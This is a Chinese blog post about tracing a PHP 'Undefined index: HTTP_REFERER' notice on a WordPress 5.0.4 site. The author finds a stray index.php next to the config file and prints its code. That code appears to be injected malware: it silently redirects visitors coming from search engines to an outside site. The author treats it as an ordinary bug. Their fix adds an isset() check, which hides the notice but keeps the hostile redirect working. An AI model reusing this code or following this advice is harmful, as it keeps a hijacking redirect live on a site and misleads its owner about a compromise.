都说现在搭网站很简单了,但真遇到问题了还真不一定能解决。

这次搭建的网站是用的wordpress版本5.0.4,以为操作和以前的低版本一样,结果做出来还是遇到问题了。

网站搭好后,首页总在顶端出现一行

Notice: Undefined index: HTTP_REFERER in index.php line 14

点击了其他页面后Notice消失

网上有关于这种情况的解决办法 http://www.manongjc.com/article/1114.html

但是
1. 用方法1、3(即关闭报错)都没用,无法消除

2. themes中index.php中并没有发现HTTP_REFERER,亦无法用方法2

3. 这个notice直接影响了页面一处图片的垂直居中效果,只有点击了其他页面后才会垂直居中

综合来看

1. 只能放弃1、3的方法

2. 定位具体位置

在定位具体位置中:

1.猜测可能和wp_header(),wp_footer()的相关引入有关,依次删除无果

2.切换到wordpress自带twentyseventeen、twentysixteen主题依然有,可以判断跟自己写的无关,是系统的问题。

3.猜测可能跟phpstudy有关,准备重新装phpstudy,也猜测可能和wordpress版本有关,但是觉得不太可能

在网上各种翻的过程中,发现了这篇帖子https://bbs.csdn.net/topics/391817077?page=1

其中提到了config文件,于是翻看config并没有HTTP_REFERER,

但是在同样的文件夹中发现了另一个index.php

因为报错是在index.php中,于是点开一看

HTTP_REFERER赫然出现在第14行,于是按照方法2进行修改

if(isset($_SERVER['HTTP_REFERER'])){
$httpuser=strtolower($_SERVER['HTTP_REFERER']);
  if(strstr($httpuser,'tiandao') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider'))
  {
  Header("Location: http://a8qqq.com/");//Ö¸¶¨Ìøת
  exit;
}
}

修改后,网站恢复正常!

最新文章

  1. 一个粗心的Bug,JSON格式不规范导致AJAX错误
  2. Android知识——ViewHolder的作用与用法
  3. eclipse中整合springMvc,velocity和sitemesh
  4. http://10.11.112.12:8000/homePage.jsp?loginMode=JS
  5. 项目学习——电力系统底层架构ssh
  6. EXT格式误删除恢复
  7. [CSS3] CSS :target Selector
  8. hdu To and Fro
  9. 你该怎么选Offer
  10. TensorFlow 常用函数汇总
  11. 使用控制台对Redis执行增删改查命令
  12. 干了这杯Java之HashMap
  13. 通过Webstorm上传代码到Github、更新代码后同步到github及克隆github代码到本地的方法
  14. Saiku更改源代码实现默认查询一天的数据(十)
  15. class反射
  16. 使用注释来解决关于inline-block元素换行问题
  17. 弹窗切换page进行关闭
  18. Android 利用ViewPager、Fragment、PagerTabStrip实现多页面滑动效果
  19. Swinject 源码框架(一):基本原理
  20. Ubuntu Touch On Nexus4 Manual Install (手动安装) under Gentoo

热门文章

  1. Python中匹配IP的正则表达式
  2. 分布式的一致性(分布式事物)-------2PC详述
  3. ROUND() 函数
  4. Centos-7修改yum源(阿里yum源)
  5. 面试题小议---BY gremount
  6. Sentinel 快速入门
  7. GIS 空间分析案例分析-错误排除经验总结
  8. Json序列化指定输出字段 忽略属性
  9. SQL-W3School-总结:SQL 总结
  10. ISO/IEC 9899:2011 条款6.4.3——通用字符名